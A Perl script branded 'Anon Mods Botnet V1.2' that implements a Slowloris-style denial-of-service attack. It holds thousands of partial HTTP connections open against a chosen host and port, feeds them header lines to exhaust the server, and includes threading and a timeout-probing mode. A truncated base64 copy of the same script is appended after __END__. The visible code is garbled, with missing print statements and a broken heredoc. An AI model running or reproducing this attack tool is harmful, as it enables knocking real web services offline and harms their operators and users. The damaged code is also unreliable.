#!/usr/bin/perl -w
use Term::ANSIColor;
print color
'bright_white'; ╭━━━╮ ╭━╮╭━┳━━━┳━━━╮
┃╭━╮┃ ┃┃╰╯┃┣╮╭╮┃╭━━╯
┃┃ ┃┣━╮╭━━┳━╮┃╭╮╭╮┃┃┃┃┃╰━━╮
┃╰━╯┃╭╮┫╭╮┃╭╮┫┃┃┃┃┃┃┃┃┣━━╮┃
┃╭━╮┃┃┃┃╰╯┃┃┃┃┃┃┃┃┣╯╰╯┣━━╯┃
╰╯ ╰┻╯╰┻━━┻╯╰┻╯╰╯╰┻━━━┻━━━╯
╭━━╮ ╭╮╭━╮ ╭╮ ╭╮
┃╭╮┃ ╭╯╰┫┃╰╮┃┃ ╭╯╰╮
┃╰╯╰┳━┻╮╭┫╭╮╰╯┣━┻╮╭╯
┃╭━╮┃╭╮┃┃┃┃╰╮┃┃┃━┫┃
┃╰━╯┃╰╯┃╰┫┃ ┃┃┃┃━┫╰╮
╰━━━┻━━┻━┻╯ ╰━┻━━┻━╯
V1.2
╭╮╭╮╭┳━━╮╭━━┳━┳━━╮╭━━┳━╮╭━━┳━╮╭╮╱╭┳╮╭┳━━┳╮╭┳━━╮
┃╰╯╰╯┃┃━┫┃╭╮┃╭┫┃━┫┃╭╮┃╭╮┫╭╮┃╭╮┫┃╱┃┃╰╯┃╭╮┃┃┃┃━━┫
╰╮╭╮╭┫┃━┫┃╭╮┃┃┃┃━┫┃╭╮┃┃┃┃╰╯┃┃┃┃╰━╯┃┃┃┃╰╯┃╰╯┣━━┃
╱╰╯╰╯╰━━╯╰╯╰┻╯╰━━╯╰╯╰┻╯╰┻━━┻╯╰┻━╮╭┻┻┻┻━━┻━━┻━━╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
};
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE';
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto, );
my $result = GetOptions(
'shost=s' => \$shost,
'ip=s' => \$host,
'httpready' => \$httpready,
'num=i' => \$connections,
'cache' => \$cache,
'port=i' => \$port,
'https' => \$ssl,
'tcpto=i' => \$tcpto,
'test' => \$test,
'timeout=i' => \$timeout,
'version' => \$version,
);
if ($version) {
}
unless ($host) {
print "Usage:\n\n\tperl $0 -IP [127.0.0.1] -port 80 -num [7500] -timeout [1]\n"; }
unless ($port) {
$port = 80;
print "Defaulting to port 80.\n"; }
unless ($tcpto) {
$tcpto = 5;
}
unless ($test) {
unless ($timeout) {
$timeout = 1;
print "Defaulting to a 1 second re-try timeout.\n"; }
unless ($connections) {
$connections = 5000;
print "Defaulting to 1000 connections.\n"; }
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.\n"; $usemultithreading = 5;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!\n"; print "Botnet will be slower than normal as a result.\n"; }
my $packetcount : shared = 0;
my $failed : shared = 0;
my $connectioncount : shared = 0;
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0;
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.\n";
my $delay = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) ); }
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; }
else {
"That's odd - I connected but couldn't send the data to $host:$port.\n";
print "Is something wrong?\nDying.\n"; }
}
else {
print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; }
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: \n"; if ( print $sock "X-a: b\r\n" ) { $delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "\tFailed after $times[$i] seconds.\n"; }
}
if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Botnet closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; }
else {
print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; }
if ( $delay < 60 ) {
EOSUCKS2BU
}
}
else {
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
while (1) {
$failedconnections = 0;
print color
'bright_red'; print "\t\tHitting Target!\n"; foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) ); }
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1\r\n"
. "Host: $sendhost\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
. "Content-Length: 42\r\n";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload"; if ( $SIG{__WARN__} ) {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
"Current stats:\tBotnet has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( \&doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
CiMhL3Vzci9iaW4vcGVybCAtdwp1c2UgVGVybTo6QU5TSUNvbG9yOwoKcHJpbnQgY29sb3IgJ2JyaWdodF93aGl0ZSc7CnByaW50IHF7CuKVreKUgeKUgeKUgeKVriAgICAgICAg4pWt4pSB4pWu4pWt4pSB4pSz4pSB4pSB4pSB4pSz4pSB4pSB4pSB4pWuCuKUg+KVreKUgeKVruKUgyAgICAgICAg4pSD4pSD4pWw4pWv4pSD4pSj4pWu4pWt4pWu4pSD4pWt4pSB4pSB4pWvCuKUg+KUgyDilIPilKPilIHila7ila3ilIHilIHilLPilIHila7ilIPila3ila7ila3ila7ilIPilIPilIPilIPilIPilbDilIHilIHila4K4pSD4pWw4pSB4pWv4pSD4pWt4pWu4pSr4pWt4pWu4pSD4pWt4pWu4pSr4pSD4pSD4pSD4pSD4pSD4pSD4pSD4pSD4pSj4pSB4pSB4pWu4pSDCuKUg+KVreKUgeKVruKUg+KUg+KUg+KUg+KVsOKVr+KUg+KUg+KUg+KUg+KUg+KUg+KUg+KUg+KUo+KVr+KVsOKVr+KUo+KUgeKUgeKVr+KUgwrilbDila8g4pWw4pS74pWv4pWw4pS74pSB4pSB4pS74pWv4pWw4pS74pWv4pWw4pWv4pWw4pS74pSB4pSB4pSB4pS74pSB4pSB4pSB4pWvCuKVreKUgeKUgeKVriAgIOKVreKVruKVreKUgeKVriDila3ila4gIOKVreKVrgrilIPila3ila7ilIMgIOKVreKVr+KVsOKUq+KUg+KVsOKVruKUg+KUgyDila3ila/ilbDila4K4pSD4pWw4pWv4pWw4pSz4pSB4pS74pWu4pWt4pSr4pWt4pWu4pWw4pWv4pSj4pSB4pS74pWu4pWt4pWvCuKUg+KVreKUgeKVruKUg+KVreKVruKUg+KUg+KUg+KUg+KVsOKVruKUg+KUg+KUg+KUgeKUq+KUgwrilIPilbDilIHila/ilIPilbDila/ilIPilbDilKvilIMg4pSD4pSD4pSD4pSD4pSB4pSr4pWw4pWuCuKVsOKUgeKUgeKUgeKUu+KUgeKUgeKUu+KUgeKUu+KVryDilbDilIHilLvilIHilIHilLvilIHila8KICAgVjEuMgrila3ila7ila3ila7ila3ilLPilIHilIHila7ila3ilIHilIHilLPilIHilLPilIHilIHila7ila3ilIHilIHilLPilIHila7ila3ilIHilIHilLPilIHila7ila3ila7ilbHila3ilLPila7ila3ilLPilIHilIHilLPila7ila3ilLPilIHilIHila4K4pSD4pWw4pWv4pWw4pWv4pSD4pSD4pSB4pSr4pSD4pWt4pWu4pSD4pWt4pSr4pSD4pSB4pSr4pSD4pWt4pWu4pSD4pWt4pWu4pSr4pWt4pWu4pSD4pWt4pWu4pSr4pSD4pWx4pSD4pSD4pWw4pWv4pSD4pWt4pWu4pSD4pSD4pSD4pSD4pSB4pSB4pSrCuKVsOKVruKVreKVruKVreKUq+KUg+KUgeKUq+KUg+KVreKVruKUg+KUg+KUg+KUg+KUgeKUq+KUg+KVreKVruKUg+KUg+KUg+KUg+KVsOKVr+KUg+KUg+KUg+KUg+KVsOKUgeKVr+KUg+KUg+KUg+KUg+KVsOKVr+KUg+KVsOKVr+KUo+KUgeKUgeKUgwrilbHilbDila/ilbDila/ilbDilIHilIHila/ilbDila/ilbDilLvila/ilbDilIHilIHila/ilbDila/ilbDilLvila/ilbDilLvilIHilIHilLvila/ilbDilLvilIHila7ila3ilLvilLvilLvilLvilIHilIHilLvilIHilIHilLvilIHilIHila8K4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWx4pWt4pSB4pWv4pSDCuKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVseKVsOKUgeKUgeKVrwoKfTsKCgp1c2Ugc3RyaWN0Owp1c2UgSU86OlNvY2tldDo6SU5FVDsKdXNlIElPOjpTb2NrZXQ6OlNTTDsKdXNlIEdldG9wdDo6TG9uZzsKdXNlIENvbmZpZzsKCiRTSUd7J1BJUEUnfSA9ICdJR05PUkUnOyAgICAKCgpteSAoICRob3N0LCAkcG9ydCwgJHNlbmRob3N0LCAkc2hvc3QsICR0ZXN0LCAkdmVyc2lvbiwgJHRpbWVvdXQsICRjb25uZWN0aW9ucyApOwpteSAoICRjYWNoZSwgJGh0dHByZWFkeSwgJG1ldGhvZCwgJHNzbCwgJHJhbmQsICR0Y3B0bywgKTsKbXkgJHJlc3VsdCA9IEdldE9wdGlvbnMoCiAgICAnc2hvc3Q9cycgICA9PiBcJHNob3N0LAogICAgJ2lwPXMnICAgICA9PiBcJGhvc3QsCiAgICAnaHR0cHJlYWR5JyA9PiBcJGh0dHByZWFkeSwKICAgICdudW09aScgICAgID0+IFwkY29ubmVjdGlvbnMsCiAgICAnY2FjaGUnICAgICA9PiBcJGNhY2hlLAogICAgJ3BvcnQ9aScgICAgPT4gXCRwb3J0LAogICAgJ2h0dHBzJyAgICAgPT4gXCRzc2wsCiAgICAndGNwdG89aScgICA9PiBcJHRjcHRvLAogICAgJ3Rlc3QnICAgICAgPT4gXCR0ZXN0LAogICAgJ3RpbWVvdXQ9aScgPT4gXCR0aW1lb3V0LAogICAgJ3ZlcnNpb24nICAgPT4gXCR2ZXJzaW9uLAopOwoKaWYgKCR2ZXJzaW9uKSB7CiAgICBleGl0Owp9Cgp1bmxlc3MgKCRob3N0KSB7CiAgICBwcmludCAiVXNhZ2U6XG5cblx0cGVybCAkMCAtSVAgWzEyNy4wLjAuMV0gLXBvcnQgODAgLW51bSBbNzUwMF0gLXRpbWVvdXQgWzFdXG4iOwogICAgZXhpdDsKfQoKdW5sZXNzICgkcG9ydCkgewogICAgJHBvcnQgPSA4MDsKICAgIHByaW50ICJEZWZhdWx0aW5nIHRvIHBvcnQgODAuXG4iOwp9Cgp1bmxlc3MgKCR0Y3B0bykgewogICAgJHRjcHRvID0gNTsKfQoKdW5sZXNzICgkdGVzdCkgewogICAgdW5sZXNzICgkdGltZW91dCkgewogICAgICAgICR0aW1lb3V0ID0gMTsKICAgICAgICBwcmludCAiRGVmYXVsdGluZyB0byBhIDEgc2Vjb25kIHJlLXRyeSB0aW1lb3V0LlxuIjsKICAgIH0KICAgIHVubGVzcyAoJGNvbm5lY3Rpb25zKSB7CiAgICAgICAgJGNvbm5lY3Rpb25zID0gNTAwMDsKICAgICAgICBwcmludCAiRGVmYXVsdGluZyB0byAxMDAwIGNvbm5lY3Rpb25zLlxuIjsKICAgIH0KfQoKbXkgJHVzZW11bHRpdGhyZWFkaW5nID0gMDsKaWYgKCAkQ29uZmlne3VzZXRocmVhZHN9ICkgewogICAgcHJpbnQgIk11bHRpdGhyZWFkaW5nIGVuYWJsZWQuXG4iOwogICAgJHVzZW11bHRpdGhyZWFkaW5nID0gNTsKICAgIHVzZSB0aHJlYWRzOwogICAgdXNlIHRocmVhZHM6OnNoYXJlZDsKfQplbHNlIHsKICAgIHByaW50ICJObyBtdWx0aXRocmVhZGluZyBjYXBhYmlsaXRlcyBmb3VuZCFcbiI7CiAgICBwcmludCAiQm90bmV0IHdpbGwgYmUgc2xvd2VyIHRoYW4gbm9ybWFsIGFzIGEgcmVzdWx0LlxuIjsKfQoKbXkgJHBhY2tldGNvdW50IDogc2hhcmVkICAgICA9IDA7Cm15ICRmYWlsZWQgOiBzaGFyZWQgICAgICAgICAgPSAwOwpteSAkY29ubmVjdGlvbmNvdW50IDogc2hhcmVkID0gMDsKCnNyYW5kKCkgaWYgKCRjYWNoZSk7CgppZiAoJHNob3N0KSB7CiAgICAkc2VuZGhvc3QgPSAkc2hvc3Q7Cn0KZWxzZSB7CiAgICAkc2VuZGhvc3QgPSAkaG9zdDsKfQppZiAoJGh0dHByZWFkeSkgewogICAgJG1ldGhvZCA9ICJQT1NUIjsKfQplbHNlIHsKICAgICRtZXRob2QgPSAiR0VUIjsKfQoKaWYgKCR0ZXN0KSB7CiAgICBteSBAdGltZXMgPSAoICIyIiwgIjMwIiwgIjkwIiwgIjI0MCIsICI1MDAiICk7CiAgICBteSAkdG90YWx0aW1lID0gMDsKICAgIGZvcmVhY2ggKEB0aW1lcykgewogICAgICAgICR0b3RhbHRpbWUgPSAkdG90YWx0aW1lICsgJF87CiAgICB9CiAgICAkdG90YWx0aW1lID0gJHRvdGFsdGltZSAvIDYwOwogICAgcHJpbnQgIlRoaXMgdGVzdCBjb3VsZCB0YWtlIHVwIHRvICR0b3RhbHRpbWUgbWludXRlcy5cbiI7CgogICAgbXkgJGRlbGF5ICAgPSAwOwogICAgbXkgJHdvcmtpbmcgPSAwOwogICAgbXkgJHNvY2s7CgogICAgaWYgKCRzc2wpIHsKICAgICAgICBpZiAoCiAgICAgICAgICAgICRzb2NrID0gbmV3IElPOjpTb2NrZXQ6OlNTTCgKICAgICAgICAgICAgICAgIFBlZXJBZGRyID0+ICIkaG9zdCIsCiAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAiJHBvcnQiLAogICAgICAgICAgICAgICAgVGltZW91dCAgPT4gIiR0Y3B0byIsCiAgICAgICAgICAgICAgICBQcm90byAgICA9PiAidGNwIiwKICAgICAgICAgICAgKQogICAgICAgICAgKQogICAgICAgIHsKICAgICAgICAgICAgJHdvcmtpbmcgPSAxOwogICAgICAgIH0KICAgIH0KICAgIGVsc2UgewogICAgICAgIGlmICgKICAgICAgICAgICAgJHNvY2sgPSBuZXcgSU86OlNvY2tldDo6SU5FVCgKICAgICAgICAgICAgICAgIFBlZXJBZGRyID0+ICIkaG9zdCIsCiAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiAiJHBvcnQiLAogICAgICAgICAgICAgICAgVGltZW91dCAgPT4gIiR0Y3B0byIsCiAgICAgICAgICAgICAgICBQcm90byAgICA9PiAidGNwIiwKICAgICAgICAgICAgKQogICAgICAgICAgKQogICAgICAgIHsKICAgICAgICAgICAgJHdvcmtpbmcgPSAxOwogICAgICAgIH0KICAgIH0KICAgIGlmICgkd29ya2luZykgewogICAgICAgIGlmICgkY2FjaGUpIHsKICAgICAgICAgICAgJHJhbmQgPSAiPyIgLiBpbnQoIHJhbmQoOTk5OTk5OTk5OTk5OTkpICk7CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkcmFuZCA9ICIiOwogICAgICAgIH0KICAgICAgICBteSAkcHJpbWFyeXBheWxvYWQgPQogICAgICAgICAgICAiR0VUIC8kcmFuZCBIVFRQLzEuMVxyXG4iCiAgICAgICAgICAuICJIb3N0OiAkc2VuZGhvc3RcclxuIgogICAgICAgICAgLiAiVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wOyBXaW5kb3dzIE5UIDUuMTsgVHJpZGVudC80LjA7IC5ORVQgQ0xSIDEuMS40MzIyOyAuTkVUIENMUiAyLjAuNTAzbDM7IC5ORVQgQ0xSIDMuMC40NTA2LjIxNTI7IC5ORVQgQ0xSIDMuNS4zMDcyOTsgTVNPZmZpY2UgMTIpXHJcbiIKICAgICAgICAgIC4gIkNvbnRlbnQtTGVuZ3RoOiA0MlxyXG4iOwogICAgICAgIGlmICggcHJpbnQgJHNvY2sgJHByaW1hcnlwYXlsb2FkICkgewogICAgICAgICAgICBwcmludCAiQ29ubmVjdGlvbiBzdWNjZXNzZnVsLCBub3cgY29tZXMgdGhlIHdhaXRpbmcgZ2FtZS4uLlxuIjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHByaW50CiJUaGF0J3Mgb2RkIC0gSSBjb25uZWN0ZWQgYnV0IGNvdWxkbid0IHNlbmQgdGhlIGRhdGEgdG8gJGhvc3Q6JHBvcnQuXG4iOwogICAgICAgICAgICBwcmludCAiSXMgc29tZXRoaW5nIHdyb25nP1xuRHlpbmcuXG4iOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KICAgIGVsc2UgewogICAgICAgIHByaW50ICJVaG0uLi4gSSBjYW4ndCBjb25uZWN0IHRvICRob3N0OiRwb3J0LlxuIjsKICAgICAgICBwcmludCAiSXMgc29tZXRoaW5nIHdyb25nP1xuRHlpbmcuXG4iOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBmb3IgKCBteSAkaSA9IDAgOyAkaSA8PSAkI3RpbWVzIDsgJGkrKyApIHsKICAgICAgICBwcmludCAiVHJ5aW5nIGEgJHRpbWVzWyRpXSBzZWNvbmQgZGVsYXk6IFxuIjsKICAgICAgICBzbGVlcCggJHRpbWVzWyRpXSApOwogICAgICAgIGlmICggcHJpbnQgJHNvY2sgIlgtYTogYlxyXG4iICkgewogICAgICAgICAgICBwcmludCAiXHRXb3JrZWQuXG4iOwogICAgICAgICAgICAkZGVsYXkgPSAkdGltZXNbJGldOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgaWYgKCAkU0lHe19fV0FSTl9ffSApIHsKICAgICAgICAgICAgICAgICRkZWxheSA9ICR0aW1lc1sgJGkgLSAxIF07CiAgICAgICAgICAgICAgICBsYXN0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIHByaW50ICJcdEZhaWxlZCBhZnRlciAkdGltZXNbJGldIHNlY29uZHMuXG4iOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoIHByaW50ICRzb2NrICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiApIHsKICAgICAgICBwcmludCAiT2theSB0aGF0J3MgZW5vdWdoIHRpbWUuIEJvdG5ldCBjbG9zZWQgdGhlIHNvY2tldC5cbiI7CiAgICAgICAgcHJpbnQgIlVzZSAkZGVsYXkgc2Vjb25kcyBmb3IgLXRpbWVvdXQuXG4iOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBwcmludCAiUmVtb3RlIHNlcnZlciBjbG9zZWQgc29ja2V0LlxuIjsKICAgICAgICBwcmludCAiVXNlICRkZWxheSBzZWNvbmRzIGZvciAtdGltZW91dC5cbiI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmICggJGRlbGF5IDwgNjAgKSB7CiAgICAgICAgcHJpbnQgPDxFT1NVQ0tTMkJVOwpFT1NVQ0tTMkJVCiAgICB9Cn0KZWxzZSB7CiAgICBwcmludAoiQ29ubmVjdGluZyB0byAkaG9zdDokcG9ydCBldmVyeSAkdGltZW91dCBzZWNvbmRzIHdpdGggJGNvbm5lY3Rpb25zIHNvY2tldHM6XG4iOwoKICAgIGlmICgkdXNlbXVsdGl0aHJlYWRpbmcpIHsKICAgICAgICBkb211bHRpdGhyZWFkaW5nKCRjb25uZWN0aW9ucyk7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBkb2Nvbm5lY3Rpb25zKCAkY29ubmVjdGlvbnMsICR1c2VtdWx0aXRocmVhZGluZyApOwogICAgfQp9CgpzdWIgZG9jb25uZWN0aW9ucyB7CiAgICBteSAoICRudW0sICR1c2VtdWx0aXRocmVhZGluZyApID0gQF87CiAgICBteSAoIEBmaXJzdCwgQHNvY2ssIEB3b3JraW5nICk7CiAgICBteSAkZmFpbGVkY29ubmVjdGlvbnMgPSAwOwogICAgJHdvcmtpbmdbJF9dID0gMCBmb3JlYWNoICggMSAuLiAkbnVtICk7ICAgICNpbml0aWFsaXppbmcKICAgICRmaXJzdFskX10gICA9IDAgZm9yZWFjaCAoIDEgLi4gJG51bSApOyAgICAjaW5pdGlhbGl6aW5nCiAgICB3aGlsZSAoMSkgewogICAgICAgICRmYWlsZWRjb25uZWN0aW9ucyA9IDA7CiAgICAgICAgIHByaW50IGNvbG9yICdicmlnaHRfcmVkJzsKICAgICAgICBwcmludCAiXHRcdEhpdHRpbmcgVGFyZ2V0IVxuIjsKICAgICAgICBmb3JlYWNoIG15ICR6ICggMSAuLiAkbnVtICkgewogICAgICAgICAgICBpZiAoICR3b3JraW5nWyR6XSA9PSAwICkgewogICAgICAgICAgICAgICAgaWYgKCRzc2wpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoCiAgICAgICAgICAgICAgICAgICAgICAgICRzb2NrWyR6XSA9IG5ldyBJTzo6U29ja2V0OjpTU0woCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyQWRkciA9PiAiJGhvc3QiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQgPT4gIiRwb3J0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgID0+ICIkdGNwdG8iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gInRjcCIsCiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICR3b3JraW5nWyR6XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkd29ya2luZ1skel0gPSAwOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tbJHpdID0gbmV3IElPOjpTb2NrZXQ6OklORVQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyQWRkciA9PiAiJGhvc3QiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUGVlclBvcnQgPT4gIiRwb3J0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgID0+ICIkdGNwdG8iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gInRjcCIsCiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICR3b3JraW5nWyR6XSA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRjb3VudCA9ICRwYWNrZXRjb3VudCArIDM7ICAjU1lOLCBTWU4rQUNLLCBBQ0sKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR3b3JraW5nWyR6XSA9IDA7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCAkd29ya2luZ1skel0gPT0gMSApIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGNhY2hlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyYW5kID0gIj8iIC4gaW50KCByYW5kKDk5OTk5OTk5OTk5OTk5KSApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJhbmQgPSAiIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgbXkgJHByaW1hcnlwYXlsb2FkID0KICAgICAgICAgICAgICAgICAgICAgICAgIiRtZXRob2QgLyRyYW5kIEhUVFAvMS4xXHJcbiIKICAgICAgICAgICAgICAgICAgICAgIC4gIkhvc3Q6ICRzZW5kaG9zdFxyXG4iCiAgICAgICAgICAgICAgICAgICAgICAuICJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBUcmlkZW50LzQuMDsgLk5FVCBDTFIgMS4xLjQzMjI7IC5ORVQgQ0xSIDIuMC41MDNsMzsgLk5FVCBDTFIgMy4wLjQ1MDYuMjE1MjsgLk5FVCBDTFIgMy41LjMwNzI5OyBNU09mZmljZSAxMilcclxuIgogICAgICAgICAgICAgICAgICAgICAgLiAiQ29udGVudC1MZW5ndGg6IDQyXHJcbiI7CiAgICAgICAgICAgICAgICAgICAgbXkgJGhhbmRsZSA9ICRzb2NrWyR6XTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGhhbmRsZSkgewogICAgICAgICAgICAgICAgICAgICAgICBwcmludCAkaGFuZGxlICIkcHJpbWFyeXBheWxvYWQiOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoICRTSUd7X19XQVJOX199ICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdvcmtpbmdbJHpdID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsb3NlICRoYW5kbGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmFpbGVkKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmFpbGVkY29ubmVjdGlvbnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRjb3VudCsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdvcmtpbmdbJHpdID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHdvcmtpbmdbJHpdID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgJGZhaWxlZCsrOwogICAgICAgICAgICAgICAgICAgICAgICAkZmFpbGVkY29ubmVjdGlvbnMrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBl